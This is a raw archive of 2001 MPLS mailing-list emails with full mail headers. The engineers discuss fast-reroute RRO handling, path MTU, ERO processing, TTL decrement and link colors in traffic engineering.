>> RRO object of the RESV message to node 1: Does node 2 continue to send
>> [@(2-1), @(3-2), @(4-3), @(egress-4)] or does node 2 send [@(2-1),
>> @(detour between 4-2), @(egress-4)] or ...?
>>
>---> It would send , [@(2-1), @(detour between 4-2), @(egress-4)]
>as the RRO in the Resv once the detour has taken over.

No, the RRO in the RESV for the Primary LSP would not change.  Node 2 
would
continue to send the same RRO as before the failure.

If you look at lsp-tunnel-09.txt, there is a "local protection in-use" 
flag
which could be set in the IPv4 subobject of the RRO, but the 
implementation
of draft-gan with which I am familiar doesn't do this.

Alia




--=_alternative 001D5D46C1256AE3_=
Content-Type: text/html; charset="us-ascii"


<br><font size=2 face="sans-serif">Arthi, Alias,</font>
<br>
<br><font size=2 face="sans-serif">* When reading the gan-draft, I assumed that node 2 would send </font><font size=1><tt>[@(2-1), @(3-2), @(4-3), @(egress-4)]</tt></font><font size=2 face="sans-serif">. I deduced this from the statement on p.10 (2nd paragraph) of the draft saying that &lt;&lt;</font><font size=2 face="Courier New">the branching node MUST not mix the messages for the main and the </font><font size=2 face="FuturaA Bk BT">detour LSP's&gt;&gt;.</font>
<br>
<br>
<br><font size=2 face="FuturaA Bk BT">* A similar question as for the RRO shows up for the path MTU: Which path MTU does node 2 send in the RESV to node 1 after the detour [node 2 - node 4] has taken over: The path MTU of [node 1 - node 2 - node 3 - node 4 - egress] or the path MTU of [node 1 - node 2 - detour (node 2, node 4) - egress]?</font>
<br>
<br><font size=2 face="FuturaA Bk BT">In order to avoid fragmentation in the middle of the lsp, it is preferable to pass the path MTU of [node 1 - node 2 - detour (node 2, node 4) - egress].</font>
<br>
<br>
<br>
<br><font size=2 face="FuturaA Bk BT">In order to answer all these questions (and new similar questions that may show up), we need to look at the general question: How do the signalling contexts of the main LSP and the detour LSP interact once the detour LSP has taken over?</font>
<br>
<br><font size=2 face="FuturaA Bk BT">Regards,</font>
<br>
<br><font size=2 face="FuturaA Bk BT">&nbsp; &nbsp; &nbsp; &nbsp; Francis.</font>
<br>
<br><font size=2 face="FuturaA Bk BT">-------------------</font>
<br>
<br>
<br>
<br>
<table>
<tr valign=top>
<td>
<td>
<tr valign=top>
<td><font size=1 color=#800080 face="sans-serif">To:</font>
<td><font size=1 face="sans-serif">Arthi Ayyangar &lt;ayyangar@apollo.mctr.umbc.edu&gt;</font>
<tr valign=top>
<td><font size=1 color=#800080 face="sans-serif">cc:</font>
<td><font size=1 face="sans-serif">Francis ARTS/BE/ALCATEL@ALCATEL, mpls@UU.NET</font>
<tr valign=top>
<td>
<td>
<tr valign=top>
<td><font size=1 color=#800080 face="sans-serif">Subject:</font>
<td><font size=1 face="sans-serif">Re: draft-gan-fast-reroute</font></table>
<br>
<br>
<br><img src=cid:_1_3C080000262C001D5D3EC1256AE3>
<br><font size=1><tt>At 06:40 PM 10/11/01 -0400, Arthi Ayyangar wrote:<br>
&gt;Hi,<br>
&gt;<br>
&gt;&gt;<br>
&gt;&gt; I have a question on the RRO handling in &lt;draft-gan-fast-reroute&gt;.<br>
&gt;&gt;<br>
&gt;&gt; &nbsp; &nbsp; &nbsp; &nbsp;Node1 ====&gt; Node2 ======&gt; Node3 =====&gt; Node4 ======&gt; Egress<br>
&gt;&gt; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; v &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ^<br>
&gt;&gt; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; |<br>
&gt;&gt; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; +-----------------------+<br>
&gt;&gt;<br>
&gt;&gt; Notation: @(3-2) == IP address of node 3 on the link [node 3 - node 2].<br>
&gt;&gt;<br>
&gt;&gt; Assume that the link between node 2 and node 3 fails. Then the detour<br>
&gt;&gt; [node 2 - node 4] is taking over. But what does node 2 then send in the<br>
&gt;&gt; RRO object of the RESV message to node 1: Does node 2 continue to send<br>
&gt;&gt; [@(2-1), @(3-2), @(4-3), @(egress-4)] or does node 2 send [@(2-1),<br>
&gt;&gt; @(detour between 4-2), @(egress-4)] or ...?<br>
&gt;&gt;<br>
&gt;---&gt; It would send , [@(2-1), @(detour between 4-2), @(egress-4)]<br>
&gt;as the RRO in the Resv once the detour has taken over.<br>
</tt></font>
<br><font size=1><tt>No, the RRO in the RESV for the Primary LSP would not change. &nbsp;Node 2 would<br>
continue to send the same RRO as before the failure.<br>
</tt></font>
<br><font size=1><tt>If you look at lsp-tunnel-09.txt, there is a &quot;local protection in-use&quot; flag<br>
which could be set in the IPv4 subobject of the RRO, but the implementation<br>
of draft-gan with which I am familiar doesn't do this.<br>
</tt></font>
<br><font size=1><tt>Alia<br>
</tt></font>
<br>
<br>
<br>
--=_alternative 001D5D46C1256AE3_=--
--=_related 001D5D42C1256AE3_=
Content-Type: image/gif
Content-ID: <_1_3C080000262C001D5D3EC1256AE3>
Content-Transfer-Encoding: base64
Content-Transfer-Encoding: base64

R0lGODlhOQIEAIAAAAAAAAAAACwAAAAAOQIEAEACZk6Oqct9AYD/+vfu7I2RLA6G4kiW5hmiRAQv
qKhG1AGvAFjUEUjEAGl4CYdEoQ9qK6ZsxIOPL9AByAOl9YrNardYLuD/qngiBRQp6aaX5e4wPf1u
s5vJZnFapsfP8xS4suVDJVIwAAA7
--=_related 001D5D42C1256AE3_=--


From owner-mpls@UU.NET  Fri Oct 12 01:36:04 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA06508
	for <mpls-archive@lists.ietf.org>; Fri, 12 Oct 2001 01:36:04 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlkjm10143;
	Fri, 12 Oct 2001 05:35:38 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlkjm14678
	for mpls-outgoing; Fri, 12 Oct 2001 05:35:32 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQlkjm14665
	for <mpls@mail-control.ash.ops.us.uu.net>; Fri, 12 Oct 2001 05:35:24 GMT
Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQlkjm07060
	for <mpls@uu.net>; Fri, 12 Oct 2001 05:34:02 GMT
Received: from funnel.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: funnel.cisco.com [161.44.168.79])
	id QQlkjm27617
	for <mpls@uu.net>; Fri, 12 Oct 2001 05:34:17 GMT
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.134.50]) by funnel.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id BAA25452 for <mpls@uu.net>; Fri, 12 Oct 2001 01:34:01 -0400 (EDT)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id BAA23822 for mpls@uu.net; Fri, 12 Oct 2001 01:34:01 -0400 (EDT)
Received: from imr1.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQlkjm14455
	for <mpls@mail-control.ash.ops.us.uu.net>; Fri, 12 Oct 2001 05:33:42 GMT
Received: from cmr2.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQlkjm02256
	for <mpls@UU.NET>; Fri, 12 Oct 2001 05:32:57 GMT
Received: from cisco.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: uzura.cisco.com [64.102.17.77])
	id QQlkjm01909
	for <mpls@UU.NET>; Fri, 12 Oct 2001 05:33:12 GMT
Received: from ASIMHA-HP.cisco.com (rtp-vpn2-271.cisco.com [10.82.241.15])
	by cisco.com (8.8.8/2.6/Cisco List Logging/8.8.8) with ESMTP id BAA24005;
	Fri, 12 Oct 2001 01:32:50 -0400 (EDT)
Date: Fri, 12 Oct 2001 01:42:37 -0400 (Eastern Daylight Time)
From: Ajay Simha <asimha@cisco.com>
To: k m a <technology2001@rediffmail.com>
cc: <mpls@UU.NET>
Subject: Re: router architecture for MPLS
In-Reply-To: <20011012014005.6489.qmail@mailFA3.rediffmail.com>
Message-ID: <Pine.WNT.4.33.0110120141150.1376-100000@ASIMHA-HP.cisco.com>
X-X-Sender: asimha@uzura.cisco.com
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=ISO-8859-1
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from QUOTED-PRINTABLE to 8bit by ietf.org id BAA06508

On 12 Oct 2001, k m a wrote:

kma:
kma:hi all, can somebody tell me what changes we will need to make or
kma:upgradations required in a router to make it MPLS enabled.i mean am
kma:talking bout the router architecture,whether we need to revamp the
kma:whole architecture or some mere software upgrades will dot the thing.
kma:can a normal router be upgraded or we require a complete replacement.
kma:thanx k
kma:

I think it depends.  If you are talking about a distiributed platform where
some processing is done on line cards, and in hardware then you'd need line
cards that support the software.

-ajay
kma:
kma:
kma:
kma:
kma:
kma:
kma:  Reply Reply All Forward   Previous  Next    Delete Message
kma:
kma: Select folder to move checked messages Trash Sent Messages Drafts
kma: Read Message : Inbox
kma:
kma:
kma:--------------------------------------------------------------------------------
kma:© 1996 - 2001 rediff.com India Limited. All Rights Reserved.
kma:
kma:
kma:

-- 
Ajay Simha
MPLS Deployment Engineer
IOS Technology Division
(919) 392-3141

"Study as if you were to live forever
 Live as if you were to die tomorrow"

 - Mahatma Gandhi



From owner-mpls@UU.NET  Fri Oct 12 04:12:41 2001
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id EAA20377
	for <mpls-archive@lists.ietf.org>; Fri, 12 Oct 2001 04:12:40 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlkjw06574;
	Fri, 12 Oct 2001 08:12:36 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlkjw23672
	for mpls-outgoing; Fri, 12 Oct 2001 08:11:53 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQlkjw23658
	for <mpls@mail-control.ash.ops.us.uu.net>; Fri, 12 Oct 2001 08:11:42 GMT
Received: from cmr1.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQlkjw19125
	for <mpls@UU.NET>; Fri, 12 Oct 2001 08:11:36 GMT
Received: from zcars0mt. by cmr1.ash.ops.us.uu.net with SMTP 
	(peer crosschecked as: h181s242a129n47.user.nortelnetworks.com [47.129.242.181])
	id QQlkjw13428
	for <mpls@UU.NET>; Fri, 12 Oct 2001 08:11:28 GMT
Received: by zcars0mt. (SMI-8.6/SMI-SVR4)
	id EAA14770; Fri, 12 Oct 2001 04:07:01 -0400
Date: Fri, 12 Oct 2001 04:07:01 -0400
Message-Id: <200110120807.EAA14770@zcars0mt.>
To: mpls@UU.NET, "'David Charlap'" <David.Charlap@marconi.com>
From: Apratim Mukherjee <ApratimM@netbrahma.com>
Subject: RE: RSVP-TE ERO Processing
Content-Type: text/plain
Sender: owner-mpls@UU.NET
Precedence: bulk

A doubt regarding this  given inline...

Thanks
Apratim
> ----------
> From: 	David Charlap[SMTP:David.Charlap@marconi.com]
> Sent: 	Friday, October 05, 2001 1:25 AM
> To: 	mpls@UU.NET
> Subject: 	Re: RSVP-TE ERO Processing
> 
> Girish Bhat wrote:
> > 
> > I don't think the ERO needs to be processed with every refresh.
> > When the ERO changes, the source node creates a new path message
> > with the same session id but a different lsp id. Note that path
> > refreshes are sent along the old path with the old lsp id till the
> > new path gets established. Once the resv message comes back along
> > the new path, the old path is torn.
> 
> You've just described make-before-break.  This is the way ingress nodes
> are supposed to do the rerouting.
> 
> But a transit router should not assume that it will work this way. 
> There may be broken routers out there.  You still must be prepared to
> handle the case where the ERO changes, even if your switch isn't capable
> of anything more than generating a PathErr.
> 
> If the ERO changes, you should assume that the ingress node changed it
> 
Apratim : >>> Why is it that we are concerned only about when we recieve a
changed ERO ? Even in the other case , where the ERO object has not changed
, I think processing of the ERO should still be done as the second hop might
be a loosely routed hop . In which case the path to the loosely routed hop
could definitely change at run-time . Or it could be the same case if the
second object is a AS No or an abstract node . How can we assume that the
route stays the same as when we recieved the ERO for the first time although
the ERO has the same contents ? 

> for a reason and that this is not some weird manifestation of line
> noise.  To ignore the change and continue sending out Path messages to
> the old next-hop with the old ERO is broken behavior.
> 
> -- David
> 



From owner-mpls@UU.NET  Fri Oct 12 09:26:25 2001
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA26331
	for <mpls-archive@lists.ietf.org>; Fri, 12 Oct 2001 09:26:25 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlkkr21056;
	Fri, 12 Oct 2001 13:25:21 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlkkr23610
	for mpls-outgoing; Fri, 12 Oct 2001 13:24:50 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQlkkr23591
	for <mpls@mail-control.ash.ops.us.uu.net>; Fri, 12 Oct 2001 13:24:43 GMT
Received: from cmr2.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQlkkr25184
	for <mpls@uu.net>; Fri, 12 Oct 2001 13:23:04 GMT
Received: from funnel.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: funnel.cisco.com [161.44.168.79])
	id QQlkkr10743
	for <mpls@uu.net>; Fri, 12 Oct 2001 13:23:17 GMT
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.134.50]) by funnel.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id JAA16491 for <mpls@uu.net>; Fri, 12 Oct 2001 09:23:02 -0400 (EDT)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id JAA13516 for mpls@uu.net; Fri, 12 Oct 2001 09:23:01 -0400 (EDT)
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQlkkr23476
	for <mpls@mail-control.ash.ops.us.uu.net>; Fri, 12 Oct 2001 13:22:49 GMT
Received: from cmr2.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQlkkr19843
	for <mpls@UU.NET>; Fri, 12 Oct 2001 13:21:45 GMT
Received: from mother.pmc-sierra.bc.ca by cmr2.ash.ops.us.uu.net with SMTP 
	(peer crosschecked as: mother.pmc-sierra.bc.ca [216.241.224.12])
	id QQlkkr08310
	for <mpls@UU.NET>; Fri, 12 Oct 2001 13:21:59 GMT
Received: (qmail 15029 invoked by uid 104); 12 Oct 2001 13:21:44 -0000
Received: from Shahram_Davari@pmc-sierra.com by mother with qmail-scanner-1.00 (uvscan: v4.1.40/v4165. . Clean. Processed in 0.402197 secs); 12 Oct 2001 13:21:44 -0000
Received: from unknown (HELO hymir.pmc-sierra.bc.ca) (134.87.114.120)
  by mother.pmc-sierra.bc.ca with SMTP; 12 Oct 2001 13:21:43 -0000
Received: from bby1exi01.pmc-sierra.bc.ca (bby1exi01.pmc-sierra.bc.ca [216.241.231.251])
	by hymir.pmc-sierra.bc.ca (jason/8.11.6) with ESMTP id f9CDLPl13647;
	Fri, 12 Oct 2001 06:21:25 -0700 (PDT)
Received: by bby1exi01.pmc-sierra.bc.ca with Internet Mail Service (5.5.2653.19)
	id <SV4KKJJZ>; Fri, 12 Oct 2001 06:23:56 -0700
Message-ID: <4B6D09F3B826D411A67300D0B706EFDE5CCA95@nt-exch-yow.pmc-sierra.bc.ca>
From: Shahram Davari <Shahram_Davari@pmc-sierra.com>
To: "'Eric Gray'" <eric.gray@sandburst.com>
Cc: "'Puneet Agarwal'" <puneet@pluris.com>, mpls@UU.NET
Subject: RE: New revision of the MPLS ttl draft
Date: Fri, 12 Oct 2001 06:23:53 -0700
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain
Sender: owner-mpls@UU.NET
Precedence: bulk

Hi Eric,

> 
> 
> Shahram,
> 
>     I think you presuppose an application that suits your argument.
> 
>     I can imagine applications that benefit from having an SLA fixed
> value of TTL decrement other than one.
> 

Could you please give an example.

-Shahram


> You wrote:
> 
> > Puneet,
> >
> > >Much
> > > like for IP,
> > > where a node can decrement the TTL by more than 1 (rfc1812),
> > > we leave the
> > > door open for service providers to configure their egress
> > > LSRs to decrement
> > > by more than 1.
> >
> > When a provider decides to decrement more than 1, it means 
> that the provider is willing to store customers' TTL policy 
> (decrement value). In that case he might store the Diffserv 
> policy (PHB<=>EXP) as well and therefore use the short pipe.
> >
> > >In (C), the service providers egress LSR *is* doing
> > > deterministic (customer independent) TTL processing.
> >
> > Anything which is configurable can't be deterministic 
> unless either signaled or written in the SLA. The signaling 
> is not desirable, and writing it in SLA, means that it can't 
> be changed quickly, which defeats the purpose of subtracting 
> more than one.
> >
> > Yours,
> > -Shahram
> 
> --
> Eric Gray (mailto:eric.gray@sandburst.com)
> http://www.mindspring.com/~ewgray
> 
> 
> 



From owner-mpls@UU.NET  Fri Oct 12 09:57:58 2001
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA27898
	for <mpls-archive@lists.ietf.org>; Fri, 12 Oct 2001 09:57:58 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlkkt17089;
	Fri, 12 Oct 2001 13:57:00 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlkkt25923
	for mpls-outgoing; Fri, 12 Oct 2001 13:56:30 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQlkkt25909
	for <mpls@mail-control.ash.ops.us.uu.net>; Fri, 12 Oct 2001 13:56:20 GMT
Received: from cmr2.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQlkkt20343
	for <mpls@uu.net>; Fri, 12 Oct 2001 13:55:57 GMT
Received: from funnel.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: funnel.cisco.com [161.44.168.79])
	id QQlkkt15537
	for <mpls@uu.net>; Fri, 12 Oct 2001 13:56:11 GMT
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.134.50]) by funnel.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id JAA20372 for <mpls@uu.net>; Fri, 12 Oct 2001 09:55:56 -0400 (EDT)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id JAA15643 for mpls@uu.net; Fri, 12 Oct 2001 09:55:56 -0400 (EDT)
Received: from imr2.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQlkjn15855
	for <mpls@mail-control.ash.ops.us.uu.net>; Fri, 12 Oct 2001 05:53:24 GMT
Received: from cmr2.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQlkjn26010
	for <mpls@UU.NET>; Fri, 12 Oct 2001 05:52:57 GMT
Received: from huaweimail.in.huawei.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [203.197.168.164])
	id QQlkjn03406
	for <mpls@UU.NET>; Fri, 12 Oct 2001 05:53:10 GMT
Received: by HUAWEIMAIL with Internet Mail Service (5.5.2653.19)
	id <4H595TXD>; Fri, 12 Oct 2001 11:26:10 +0530
Message-ID: <751B6DD7A243D511AB9F0002557C5687011A99D9@HUAWEIMAIL>
From: Prabhugowda Biradar <prabhu_b@in.huawei.com>
To: mpls-ops@mplsrc.com
Cc: mpls@UU.NET
Subject: Can a Link have more than one color??
Date: Fri, 12 Oct 2001 11:26:01 +0530
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01C152E2.92896950"
Sender: owner-mpls@UU.NET
Precedence: bulk

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C152E2.92896950
Content-Type: text/plain;
	charset="iso-8859-1"

Dear All,

In Traffic Engineering  context, can a link be associated with multiple
colors?

Warm Regards, 
Prabhu



------_=_NextPart_001_01C152E2.92896950
Content-Type: text/html;
	charset="iso-8859-1"

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=iso-8859-1">
<META NAME="Generator" CONTENT="MS Exchange Server version 5.5.2653.12">
<TITLE>Can a Link have more than one color??</TITLE>
</HEAD>
<BODY>

<P><FONT SIZE=2 FACE="Arial">Dear All,</FONT>
</P>

<P><FONT SIZE=2 FACE="Arial">In Traffic Engineering&nbsp; context, can a link be associated with multiple colors?</FONT>
</P>

<P><FONT FACE="Courier">Warm Regards,</FONT><FONT FACE="Times New Roman"><BR>
</FONT><FONT FACE="Courier">Prabhu</FONT><BR>

</P>

</BODY>
</HTML>
------_=_NextPart_001_01C152E2.92896950--



From owner-mpls@UU.NET  Fri Oct 12 10:40:24 2001
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA29919
	for <mpls-archive@lists.ietf.org>; Fri, 12 Oct 2001 10:40:24 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlkkw26034;
	Fri, 12 Oct 2001 14:38:15 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlkkw18008
	for mpls-outgoing; Fri, 12 Oct 2001 14:37:30 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQlkkw17985
	for <mpls@mail-control.ash.ops.us.uu.net>; Fri, 12 Oct 2001 14:37:18 GMT
Received: from cmr0.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQlkkw19440
	for <mpls@uu.net>; Fri, 12 Oct 2001 14:37:07 GMT
Received: from funnel.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: funnel.cisco.com [161.44.168.79])
	id QQlkkw24359
	for <mpls@uu.net>; Fri, 12 Oct 2001 14:37:16 GMT
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.134.50]) by funnel.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id KAA26253 for <mpls@uu.net>; Fri, 12 Oct 2001 10:37:01 -0400 (EDT)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id KAA17843 for mpls@uu.net; Fri, 12 Oct 2001 10:37:01 -0400 (EDT)
Received: from imr2.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQlkkw17763
	for <mpls@mail-control.ash.ops.us.uu.net>; Fri, 12 Oct 2001 14:35:54 GMT
Received: from cmr0.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQlkkw00923
	for <mpls@UU.NET>; Fri, 12 Oct 2001 14:35:42 GMT
Received: from fido.nc.rr.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: rdu26-240-155.nc.rr.com [66.26.240.155])
	id QQlkkw22019
	for <mpls@UU.NET>; Fri, 12 Oct 2001 14:35:56 GMT
Received: from localhost (jboyle@localhost)
	by fido.nc.rr.com (8.11.2/8.11.2) with ESMTP id f9CEb0O28732;
	Fri, 12 Oct 2001 10:37:03 -0400
X-Authentication-Warning: fido.nc.rr.com: jboyle owned process doing -bs
Date: Fri, 12 Oct 2001 10:37:00 -0400 (EDT)
From: Jim Boyle <jboyle@pdnets.com>
X-X-Sender:  <jboyle@fido>
To: Prabhugowda Biradar <prabhu_b@in.huawei.com>
cc: <mpls-ops@mplsrc.com>, <mpls@UU.NET>
Subject: Re: Can a Link have more than one color??
In-Reply-To: <751B6DD7A243D511AB9F0002557C5687011A99D9@HUAWEIMAIL>
Message-ID: <Pine.LNX.4.33.0110121035170.1898-100000@fido>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-mpls@UU.NET
Precedence: bulk



Yes, see section 2.5.9 of draft-katz-yeung-ospf-traffic-06.txt



On Fri, 12 Oct 2001, Prabhugowda Biradar wrote:

> Dear All,
>
> In Traffic Engineering  context, can a link be associated with multiple
> colors?
>
> Warm Regards,
> Prabhu
>
>
>



From owner-mpls@UU.NET  Fri Oct 12 10:54:38 2001
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA00362
	for <mpls-archive@lists.ietf.org>; Fri, 12 Oct 2001 10:54:38 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlkkx03277;
	Fri, 12 Oct 2001 14:52:11 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlkkx19278
	for mpls-outgoing; Fri, 12 Oct 2001 14:51:34 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQlkkx19273
	for <mpls@mail-control.ash.ops.us.uu.net>; Fri, 12 Oct 2001 14:51:28 GMT
Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQlkkx09802
	for <mpls@UU.NET>; Fri, 12 Oct 2001 14:49:51 GMT
Received: from mailgate.pit.comms.marconi.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mailgate.pit.comms.marconi.com [169.144.68.6])
	id QQlkkx17361
	for <mpls@UU.NET>; Fri, 12 Oct 2001 14:50:05 GMT
Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com [169.144.2.12])
	by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id KAA19051
	for <mpls@UU.NET>; Fri, 12 Oct 2001 10:49:48 -0400 (EDT)
Received: from marconi.com (dcharlap-pc.dc.fore.com [169.144.136.107])
	by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id KAA24694
	for <mpls@UU.NET>; Fri, 12 Oct 2001 10:49:48 -0400 (EDT)
Message-ID: <3BC7032E.8A6DA5E6@marconi.com>
Date: Fri, 12 Oct 2001 10:50:22 -0400
From: David Charlap <David.Charlap@marconi.com>
X-Mailer: Mozilla 4.77 [en] (WinNT; U)
X-Accept-Language: en-US,en-GB,en
MIME-Version: 1.0
To: mpls@UU.NET
Subject: Re: router architecture for MPLS
References: <20011012014005.6489.qmail@mailFA3.rediffmail.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

k m a wrote:
> 
> can somebody tell me what changes we will need to make or
> upgradations required in a router to make it MPLS enabled.i mean am
